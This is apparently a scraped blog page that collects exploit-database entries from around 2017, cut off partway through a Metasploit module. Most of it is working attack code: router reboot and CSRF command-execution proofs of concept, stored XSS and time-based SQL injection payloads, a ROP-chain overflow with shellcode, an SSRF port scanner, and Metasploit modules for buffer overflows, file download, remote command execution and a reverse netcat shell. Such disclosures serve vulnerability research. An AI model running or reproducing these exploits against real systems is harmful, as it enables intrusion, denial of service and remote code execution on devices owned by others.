Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863555930

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#!/usr/bin/env python
#
#
# Telesquare SKT LTE Router SDT-CS3B1 Remote Reboot Denial Of Service
#
#
# Vendor: Telesquare Co., Ltd.
# Product web page: http://www.telesquare.co.kr
# Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
#                   LteVer: ML300S5XEA41_090  1 0.1.0
#                   Modem model: PM-L300S
#
# Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
# LTE wireless communication based LTE router product.
#
# Desc: The router suffers from an unauthenticated reboot command execution.
# Attackers can exploit this issue to cause a denial of service scenario.
#
# --------------------------------------------------------------------
# /lte/lteuicc.shtml:
# -------------------
#
# 858: function RebootRequest()
# 859: {
# 860:     var url = "../cgi-bin/lte.cgi?";
# 861:     var param = "Command=Reboot";
# 862:     XHRPost(RebootHandle, url, param, false ); //sync call
# 863: }
# 
# --------------------------------------------------------------------
#
# Tested on: lighttpd/1.4.20
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2017-5444
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5444.php
#
#
# 22.12.2017
#


import sys, requests

if len(sys.argv) < 2:
	print 'SKT LTE Router SDT-CS3B1 Remote Reboot'
	print 'Usage: b00t.py <ip> <port>\n'
	quit()

ip = sys.argv[1]
port = sys.argv[2]

r = requests.get("http://"+ip+":"+port+"/cgi-bin/lte.cgi?Command=Reboot")

# shw: while true; do ./b00t.py 10.0.0.17 8081; sleep 20; done
#print r.content  #if in r.content: <xml></xml>, reboot true.

print "Router rebooted."
            
Telesquare SKT LTE Router SDT-CS3B1 CSRF System Command Execution


Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
                  LteVer: ML300S5XEA41_090  1 0.1.0
                  Modem model: PM-L300S

Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.

Desc: The router suffers from authenticated arbitrary system command
execution. The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks to
verify the requests. This can be exploited to perform certain actions
with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: lighttpd/1.4.20


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5443
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5443.php


22.12.2017

--


IDOR for system command interface:
----------------------------------

GET /admin/system_command.shtml HTTP/1.1



PoC GET CSRF request:
---------------------

<html>
  <body>
    <form action="http://10.0.0.17:8081/cgi-bin/admin.cgi">
      <input type="hidden" name="Command" value="sysCommand" />
      <input type="hidden" name="Cmd" value="uname%20-a" />
      <input type="hidden" name="T" value="8168008531337" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>
            
Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities


Vendor: Alex Tselegidis
Product web page: http://www.easyappointments.org
Affected version: 1.2.1

Summary: Easy!Appointments is a highly customizable web application
that allows your customers to book appointments with you via the web.
Moreover, it provides the ability to sync your data with Google Calendar
so you can use them with other services. It is an open source project
and you can download and install it even for commercial use. Easy!Appointments
will run smoothly with your existing website, because it can be installed
in a single folder of the server and of course, both sites can share
the same database. Learn more about the project in the Features page.

Desc: The application suffers from multiple stored and reflected XSS
vulnerabilities. The issues are triggered when an unauthorized input
passed via multiple POST and GET parameters is not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.4.23 (Win32)
           OpenSSL/1.0.2h
           MariaDB-10.1.19
           PHP/5.6.28


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5442
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php


20.10.2017

--


PoC:

{"name":"XSS1","description":"Description"}

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="category" value="&#123;"name"&#58;"XSS1"&#44;"description"&#58;"Description"&#125;" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="service&#95;id" value='"><script>alert(2)</script>' />
      <input type="hidden" name="provider&#95;id" value="85" />
      <input type="hidden" name="selected&#95;date" value="2017&#45;11&#45;30" />
      <input type="hidden" name="service&#95;duration" value="30" />
      <input type="hidden" name="manage&#95;mode" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="service&#95;id" value="13" />
      <input type="hidden" name="provider&#95;id" value="85" />
      <input type="hidden" name="selected&#95;date" value="<marquee>" />
      <input type="hidden" name="service&#95;duration" value="30" />
      <input type="hidden" name="manage&#95;mode" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

---

<html>
  <body>
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
      <input type="hidden" name="csrfToken" value="f5300ab64a4fae7bc3e56f2502905459" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;last&#95;name&#93;" value="sdadsd" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;first&#95;name&#93;" value="asdasd" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;email&#93;" value="asdasd&#64;bbb&#46;dd" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;phone&#95;number&#93;" value="1112223333" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;address&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;city&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;customer&#93;&#91;zip&#95;code&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;start&#95;datetime&#93;" value=""><script>alert&#40;3&#41;<&#47;script>" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;end&#95;datetime&#93;" value="2017&#45;11&#45;30&#32;16&#58;00&#58;00" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;notes&#93;" value="" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;is&#95;unavailable&#93;" value="false" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;id&#95;users&#95;provider&#93;" value="85" />
      <input type="hidden" name="post&#95;data&#91;appointment&#93;&#91;id&#95;services&#93;" value="13" />
      <input type="hidden" name="post&#95;data&#91;manage&#95;mode&#93;" value="false" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
Telesquare SKT LTE Router SDT-CS3B1 Insecure Direct Object Reference Info Leak


Vendor: Telesquare Co., Ltd.
Product web page: http://www.telesquare.co.kr
Affected version: FwVer: SDT-CS3B1, sw version 1.2.0
                  LteVer: ML300S5XEA41_090  1 0.1.0
                  Modem model: PM-L300S

Summary: We introduce SDT-CS3B1 LTE router which is a SKT 3G and 4G
LTE wireless communication based LTE router product.

Desc: Insecure direct object references occur when an application
provides direct access to objects based on user-supplied input. As
a result of this vulnerability attackers can bypass authorization
and access resources and functionalities in the system.

Tested on: lighttpd/1.4.20
Linux mips


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5445
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5445.php


22.12.2017

--



/home.html                                  <<  Version and status info leak (firmware, device, type, modem, lte)
/index.html                                 <<  Version and status info leak (firmware, device, type, modem, lte)
/nas/smbsrv.shtml                           <<  Samba server settings (workgroup, netbios name)
/nas/ftpsrv.shtml                           <<  FTP settings
/wifi2g/basic.shtml                         <<  Wireless settings
/admin/status.shtml                         <<  Access point status info leak
/internet/wan.shtml                         <<  WAN settings info leak (wanip, subnet, gateway, macaddr, lteipaddr, dns)
/internet/lan.shtml                         <<  LAN settings info leak (dhcpip, lanip, macaddr, gateway, subnet, dns)
/admin/statistic.shtml                      <<  System statistics info leak
/admin/management.shtml                     <<  System management (account settings, ntp settings, ddns settings)
/serial/serial_direct.shtml                 <<  Direct serial settings (network connection settings, serverip, port)
/admin/system_command.shtml                 <<  System command interface
/internet/dhcpcliinfo.shtml                 <<  DHCP Clients info leak (hostname, macaddr, ipaddr)
/admin/upload_firmware.shtml                <<  Router firmware and lte firmware upgrade
/firewall/vpn_futuresystem.shtml            <<  VPN settings (udp packet transfer, icmp check)
/cgi-bin/lte.cgi?Command=getUiccState       <<  GetUiccState()
/cgi-bin/lte.cgi?Command=getModemStatus     <<  Modem status info leak
/cgi-bin/systemutil.cgi?Command=SystemInfo  <<  System info leak
            
# Exploit Title: SysGauge Server 3.6.18 - DOS
# Date: 2017-10-20
# Exploit Author: Ahmad Mahfouz
# Software Link: hhttp://www.sysgauge.com/setups/sysgaugesrv_setup_v3.6.18.exe
# Version: v3.6.18
# Category; Windows Remote DOS
# CVE: CVE-2017-15667
# Author Homepage: www.unixawy.com
# Description: SysGauge Server 3.6.18 the Control Protocl suffers from a denial of service. The attack vector is a crafted SERVER_GET_INFO packet sent to control port 9221.

#!/usr/bin/env python
import socket
target = "192.168.72.133"
port = 9221
s  = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target,port))
packet = "\x75\x19\xba\xab\x03"
packet +="\x00\x00\x00\x01\x00\x00\x00\x1a"
packet += "\x00"
packet += "\x3e"
packet += "\x00"
packet += "\x20"
packet += "\x00"
packet += "\x00"
packet += "\x00"
packet += "\x00\x00\x00\x00"
packet += "SERVER_GET_INFO"
packet += "\x02\x32\x01"
packet += "Data"
packet += "\x01\x30\x01\x00"
packet += "\x04\x02\x74"
packet += "\x18\x18\x00"
s.send(packet)

try:

         data = s.recv(100)

except:

         print "K1LL3D"
            
# Exploit Title: SAP BusinessObjects launch pad SSRF
# Date: 2017-11-8
# Exploit Author: Ahmad Mahfouz
# Category: Webapps
# Author Homepage: www.unixawy.com
# Description: Design Error in SAP BusinessObjects launch pad leads to SSRF attack 

 
#!/usr/bin/env python
# SAP BusinessObjects launch pad SSRF Timing Attack Port scan
# usage : sblpta.py http://path.faces targetIP targetPort
import urllib2
import urllib
import ssl
from datetime import datetime
import sys

 

if len(sys.argv) != 4:

   print "Usage: python sblpta.py http://path.faces targetIP targetPort"
   sys.exit(1)

url = sys.argv[1]
targetIP = sys.argv[2]
targetPort = sys.argv[3]
targetHostIP = "%s:%s" %(targetIP,targetPort)
print "\r\n" 
print "[*] SAP BusinessObjects Timing Attack"
headers = {'User-Agent': 'Mozilla/5.0'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)

try:

   request = urllib2.Request(url, headers=headers)
   page = urllib2.urlopen(request, context=gcontext)
   print "[*] Connected to SAP Bussiness Object %s"  %url

except:

   print "[-] Failed To connect to SAP Bussiness Object %s" %url
   print "[*] SAP Bussiness Object Link example: http://domain:port/BZ/portal/95000047/InfoView/logon.faces"
   sys.exit(2)

 
resheaders = page.info()
cookie = resheaders.dict['set-cookie']
content = page.readlines()

for line in content:

   if "com.sun.faces.VIEW" in line:
      sfview = line.split("=")[4].split("\"")[1]
      print "[*] Got java faces dynamic value"

   else:
      continue

if not sfview:

   print "[-] Failed to java faces dynamic value, are you sure you extracted the java faces form from the link ??"
   sys.exit(3)


formdata = {"_id0:logon:CMS":targetHostIP,
         "_id0:logon:USERNAME":"",
         "_id0:logon:PASSWORD":"",
         "com.sun.faces.VIEW":sfview,
         "_id0":"_id0"
         }

 

data_encode = urllib.urlencode(formdata)
start =  datetime.now()
print "[*] Testing Timing Attack %s" %start        
request = urllib2.Request(url,data_encode)
request.add_header('Cookie', cookie)
response  = urllib2.urlopen(request)
end = datetime.now()
the_page = response.read()


if "FWM" in the_page:
 
   elapsedTime = end-start
   if elapsedTime.total_seconds() >= 10:

      print "[*] Port %s is Open, Gotcha !!! " %targetPort

   else:

      print "[*] Port %s is Closed , we die fast"  %targetPort

elif "FWC" in the_page:

   print "[-] error login expired"
   sys.exit(10)
            
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Seh
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'ALLMediaServer 0.95 Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in ALLMediaServer 0.95.
                The vulnerability is caused due to a boundary error within the
                handling of HTTP request.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Anurag Srivastava', # Remote exploit and Metasploit module
                ],
            'References'     =>
                [
                    [ 'EDB', '43406' ]
                ],
            'DefaultOptions' =>
                {
                    'ExitFunction' => 'process', #none/process/thread/seh
                },
            'Platform'       => 'win',
            'Payload'        =>
                {
                    'BadChars' => "",
                    'Space' => 660,
                    'DisableNops' => true
                },
 
            'Targets'        =>
                [
                    [ 'ALLMediaServer 0.95 / Windows XP SP3 - English',
                        {
                            'Ret'       =>   0x00408315, # POP # POP # POP # RET 
                            'Offset'    =>   1072
                        }
                    ],
                    [ 'ALLMediaServer 0.95 / Windows 7 SP1 - English',
                        {
                            'Ret'       =>   0x00408315, #  POP # POP # POP # RET 
                            'Offset'    =>   1072
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 28 2017',
            'DefaultTarget'  => 1))
 
        register_options([Opt::RPORT(888)], self.class)
 
    end
	
    def exploit
        connect
	buffer = ""
        buffer << make_nops(target['Offset'])
	buffer << generate_seh_record(target.ret)
	buffer << make_nops(19)
        buffer << payload.encoded
        print_status("Sending payload ...")
        sock.put(buffer)
	handler
        disconnect
    end
end
            
# Exploit Title: DotNetNuke DreamSlider Arbitrary File Download
# Date: 23/01/2014
# Author: Glafkos Charalambous
# Version: 01.01.02
# Vendor: DreamSlider
# Vendor URL: http://www.dreamslider.com/
# Google Dork: inurl:/DesktopModules/DreamSlider/
# CVE: 
#
# Description
# DotNetNuke DreamSlider Module prior to version X suffer from a remote unauthenticated arbitrary file download vulnerability
#
# Vulnerable Code
#
# namespace DotNetNuke.Modules.DreamSlider
# {
#    using System;
#    using System.IO;
#    using System.Web.SessionState;
#    using System.Web.UI;
#
#    public class DownloadProvider : Page, IRequiresSessionState
#    {
#        protected void Page_Load(object sender, EventArgs e)
#        {
#            if (!base.IsPostBack && (base.Request.QueryString["File"] != null))
#            {
#                string path = base.Request.QueryString["File"];
#                string fileName = Path.GetFileName(path);
#                base.Response.ContentType = "application/octet-stream";
#                base.Response.AddHeader("Content-Disposition", "attachment; filename=" + fileName);
#                base.Response.WriteFile(path);
#                base.Response.End();
#            }
#        }
#    }
# }

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'DotNetNuke DreamSlider Arbitrary File Download',
      'Description'    => %q{
        This module exploits an unauthenticated arbitrary file download vulnerability in DNN
	DreamSlider version 01.01.02 and below.
      },
      'Author'         =>
        [
          'Glafkos Charalambous', # Discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://metasploit.com' ]
        ],
      'DisclosureDate' => 'Mar 23 2015'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('FILENAME', [true, 'File to download', '~/web.config']),
        OptString.new('PATH', [true, 'Path of DNN Nuke', '/']),
      ], self.class)
  end

  def check
    begin

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx"),
        'cookie' => datastore['Cookie'],
      })

    if res && res.code == 200 and res.body.to_s =~ /Download Provider/
       return Exploit::CheckCode::Vulnerable
    else
       return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Safe
   end
  end

  def run
    begin
      print_status("#{peer} - Downloading file #{datastore['FILENAME']}")

      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(datastore['PATH'],"/DesktopModules/DreamSlider/DownloadProvider.aspx?File=") + datastore['FILENAME'],
	'cookie' => datastore['Cookie'],
      })

    rescue Rex::ConnectionError
      print_error("#{peer} - Could not connect.")
      return
    end

    if res && res.code == 200
      if res.body.to_s.bytesize == 0
        print_error("#{peer} - 0 bytes returned, file does not exist or it is empty.")
        return
      end

      fileName = datastore['FILENAME']

      path = store_loot(
        'ds.http',
        'application/octet-stream',
        datastore['RHOST'],
        res.body,
        fileName
      )
      print_good("#{peer} - File saved in: #{path}")
    else
      print_error("#{peer} - Failed to download file.")
    end
  end
end
            
# Exploit Title: Buffer  overflow in ALLPlayer ALLMediaServer 0.95 and earlier
# CVE: CVE-2017-17932
# Date: 27-12-2017 
# Exploit Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://www.allmediaserver.org/
# Category: webapps
# Attack Type: Remote
# Impact: Code execution and/or Denial of Service 



 
#1. Description
#
#A buffer overflow vulnerability exists in MediaServer.exe in ALLPlayer ALLMediaServer 0.95 and earlier that could allow remote attackers to execute arbitrary code and/or cause denial of service on the victim machine/computer via a long string to TCP port 88. Te exploit this vulnerability, an attacker must connect to the server with a long-malicious string.
#
#   
#2. Proof of Concept
#
 

#!/usr/bin/python

#NOTE: I found this bug via patch-diffing and I had IDA Pro set up as my Just-In-Time debugger at the time of the crash but any debugger should work. 

def main():

   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

   s.connect(('192.168.205.131', 888))

   buffer = "A" * 3000


   s.send(buffer)

   s.close()


if __name__ == '__main__':
   import socket

   main()
            
# Exploit Title: PHP Melody v2.7.1 - SQL Injection
# Date: 30/12/2017
# Exploit Author: Ahmad Mahfouz 
# Contact: http://twitter.com/eln1x
# Vendor Homepage: http://www.phpsugar.com/ Buy http://www.phpsugar.com/phpmelody_order.html
# Version: 2.7.1
# Tested on: Mac OS
#
# SQL Injection Type: time-based blind
# Parameter: playlist
# Page: ajax.php
# URL: http://target.com/ajax.php?p=video&do=getplayer&vid=[VALID_VIDO_ID]&aid=1&player=detail&playlist=[SQLi]

 

GET /ajax.php?p=video&do=getplayer&vid=randomid&aid=1&player=detail&playlist='+(select*from(select(sleep(20)))a)+' HTTP/1.1
Host: localhost
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
            
#!/usr/bin/python

# Exploit Title: Buffer overflow in NetTransport Download Manager - Version 2.96L (DEP Bypass)
# CVE: CVE-2017-17968
# Date: 28-12-2017
# Software Link: http://xi-soft.com/downloads/NXSetup_x86.zip
# Exploit Author: Author: Aloyce J. Makalanga
# Contact: https://twitter.com/aloycemjr
# Vendor Homepage: http://xi-soft.com/default.htm
# Category: webapps
# Impact: Code execution
 
#1. Description
#   
#A buffer overflow vulnerability in NetTransport.exe in NetTransport Download Manager 2.96L and earlier could allow remote HTTP servers to execute arbitrary code on NAS devices via a long HTTP response. To exploit this vulnerability, an attacker needs to issue a malicious-crafted payload in the HTTP Response Header. A successful attack could result in code execution
#   
#2. Proof of Concept
 #

#!/usr/bin/pythion




def main():
    host = "192.168.205.131"
    port = 80

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((host, port))
    s.listen(1)
    print "\n[+] Listening on %d ..." % port

    cl, addr = s.accept()
    print "[+] Connection accepted from %s" % addr[0]

    #Disabling DEP by VirtualProtect()
    def create_rop_chain():
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = [
            0x10001653,  # POP EAX # RETN [libssl.dll]
            0x00485ed3,# MOV EAX,DWORD PTR DS:[ECX] # POP EDI # POP ESI # POP EBP # POP ECX # RETN 0x04 [NetTransport.exe]
            0x41414141,  # Filler (compensate)
            0x41414141,  # Filler (compensate)
            0x41414141,  # Filler (compensate)
            0x41414141,  # Filler (compensate)
            0x00496596,  # XCHG EAX,ESI # RETN 0x0A [NetTransport.exe]
            0x41414141,  # Filler (RETN offset compensation)
            0x004ea919,  # POP EBP # RETN [NetTransport.exe]
            0x41414141,  # Filler (RETN offset compensation)
            0x41414141,  # Filler (RETN offset compensation)
            0x4141,  # Filler (RETN offset compensation)
            0x004608df,  # & push esp # ret  [NetTransport.exe]
            0x0045e75f,  # POP EBX # RETN [NetTransport.exe]
            0x00000201,  # 0x00000201-> ebx
            0x00554dbc,  # POP ECX # RETN [NetTransport.exe]
            0x00000040,  # 0x00000040-> edx
            0x00499c92,  # XOR EDX,EDX # RETN 0x04 [NetTransport.exe]
            0x0041254c,  # ADC EDX,ECX # POP EBX # ADD ESP,0C # RETN 0x04 [NetTransport.exe]
            0x41414141,  # Filler (RETN offset compensation)
            0x41414141,  # Filler (compensate)
            0x41414141,  # Filler (compensate)
            0x41414141,  # Filler (compensate)
            0x41414141,  # Filler (compensate)
            0x0054e559,  # POP ECX # RETN [NetTransport.exe]
            0x41414141,  # Filler (RETN offset compensation)
            0x10004b93,  # &Writable location [libssl.dll]
            0x0050343f,  # POP EDI # RETN [NetTransport.exe]
            0x00487073,  # RETN (ROP NOP) [NetTransport.exe]
            0x10001653,  # POP EAX # RETN [libssl.dll]
            0x90909090,  # nop
            0x00486f78,  # PUSHAD # RETN [NetTransport.exe]
        ]
        return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

    rop_chain = create_rop_chain()

    #Tiny calc.exe shellcode

    shellcode = (
            "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +
            "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +
            "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +
            "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +
            "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +
            "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +
            "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +
            "\x1c\x39\xbd"
    )

    MaxSize = 60000
    EAX_overwrite= "A"*16739 #Always trigger a crash at EAX

    #EIP 004E7828
    #evil = "\x28\x78\x4E\x90"

    rop = rop_chain
    nops = "\x90"*10
    pads = "C"*(MaxSize - len(EAX_overwrite + rop + nops + shellcode))
    payload = EAX_overwrite + rop + nops + shellcode + pads

    buffer = "HTTP/1.1 200 " + payload + "\r\n"

    print cl.recv(1000)
    cl.send(buffer)
    print "[+] Sending buffer: OK\n"


    cl.close()
    s.close()

if __name__ == '__main__':
    import struct
    import socket
    main()


   
#3. Solution:
#   
#No solution available at the moment.
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'           => "HP Mercury LoadRunner Agent magentproc.exe Remote Command Execution",
      'Description'    => %q{
        This module exploits a remote command execution vulnerablity in HP LoadRunner before 9.50
        and also HP Performance Center before 9.50. HP LoadRunner 12.53 and other versions are
        also most likely vulneable if the (non-default) SSL option is turned off.
        By sending a specially crafted packet, an attacker can execute commands remotely.
        The service is vulnerable provided the Secure Channel feature is disabled (default).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Original discovery # From Tenable Network Security
          'aushack'  # metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2010-1549'],
          ['ZDI', '10-080'],
          ['BID', '39965'],
          ['URL', 'https://support.hpe.com/hpsc/doc/public/display?docId=c00912968']
        ],
      'Payload'        => { 'BadChars' => "\x0d\x0a\x00" },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Note: software reportedly supports Linux - may also be vulnerable.
          ['Windows (Dropper)',
          'Platform'   => 'win',
          'Arch'       => [ARCH_X86, ARCH_X64]
          ],
        ],
      'Privileged'     => false,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'DisclosureDate' => 'May 06 2010',
      'DefaultTarget'  => 0))

      register_options([Opt::RPORT(54345)])
  end

  def autofilter
    true
  end

  def execute_command(cmd, _opts = {})
    guid = Rex::Text.encode_base64(Rex::Text.rand_text_alphanumeric(17))
    randstr = Rex::Text.rand_text_alpha(16)
    server_name = Rex::Text.rand_text_alpha(7)
    server_ip = datastore['LHOST']
    server_port = Rex::Text.rand_text_numeric(4)
    # If linux is one day supported, cmd1 = /bin/sh and cmd2 = -c cmd
    cmd1 = "C:\\Windows\\system32\\cmd.exe"
    cmd2 = "/C \"#{cmd}\""

    pkt1 = [0x19].pack('N') + guid + '0'

    pkt2 = [0x6].pack('N') + [0x0].pack('N') + "(-server_type=8)(-server_name=#{server_name})(-server_full_name=#{server_name})"
    pkt2 << "(-server_ip_name=#{server_ip})(-server_port=#{server_port})(-server_fd_secondary=4)(-guid_identifier=#{guid})\x00\x00"
    pkt2 << [0x7530].pack('N')

    pkt3 = [4 + pkt2.length].pack('N') + pkt2

    pkt4 = [0x1c].pack('N') + [0x05].pack('N') + [0x01].pack('N') + randstr + pkt3

    pkt5 = [pkt4.length].pack('N') + pkt4

    pkt6 = [0x437].pack('N') + [0x0].pack('N') + [0x31].pack('N') + [1].pack('N') + [0x31000000].pack('N')
    pkt6 << [cmd1.length].pack('N') + cmd1 + "\x00" + [cmd2.length].pack('N') + cmd2 + [0x0].pack('N') + [0x0].pack('N')

    pkt7 = [4 + pkt6.length].pack('N') + pkt6

    pkt8 = [0x18].pack('N') + [0x04].pack('N') + randstr + pkt7

    pkt9 = [pkt8.length].pack('N') + pkt8

    sploit = pkt1 + pkt5 + pkt9

    connect
    sock.put(sploit)
    disconnect
 end

  def exploit
      print_status('Sending payload...')
      execute_cmdstager(linemax: 1500)
  end
end
            
#!/usr/bin/python
 
#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: D3DGear 5.00 Build 2175 - Buffer Overflow
# Date: 07-11-2017
# Vulnerable Software: D3DGear 5.00 Build 2175
# Vendor Homepage: http://www.d3dgear.com/
# Version: 5.00 Build 2175
# Software Link: http://www.d3dgear.com/products.htm
# Tested On: Windows 7 x86
#
#
# PoC: generate crash.txt, open program, select broadcast, paste crash.txt contents in stream key
#
# app crashes; 00420042 Pointer to next SEH record; no eip overwrite; one unicode ppr pointer
#
  
file = "crash.txt"

buffer = "A"* 1284 + "B"*4
writeFile = open (file, "w")
writeFile.write( buffer )
writeFile.close()
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "Cambium ePMP1000 'ping' Shell via Command Injection (up to v2.5)",
      'Description' => %{
          This module exploits an OS Command Injection vulnerability in Cambium
          ePMP1000 device management portal. It requires any one of the following login
          credentials - admin/admin, installer/installer, home/home - to set up a reverse
          netcat shell.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>'
        ],
      'References' =>
        [
          ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'],
          ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83']
        ],
      'Privileged' => true,
      'Targets' =>
        [
          ['EPMP',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'unix'
            }
          ]
        ],
      'DisclosureDate' => 'Nov 28 2015',
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' })
    )

    register_options(
      [
        Opt::RPORT(80),	# Application may run on a different port too. Change port accordingly.
        OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']),
        OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer'])
      ], self.class
    )

    deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')
  end

  #
  # Fingerprinting
  #
  def is_app_epmp1000?
    begin
      res = send_request_cgi(
        {
          'uri'       => '/',
          'method'    => 'GET'
        }
      )
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    good_response = (
      res &&
      res.code == 200 &&
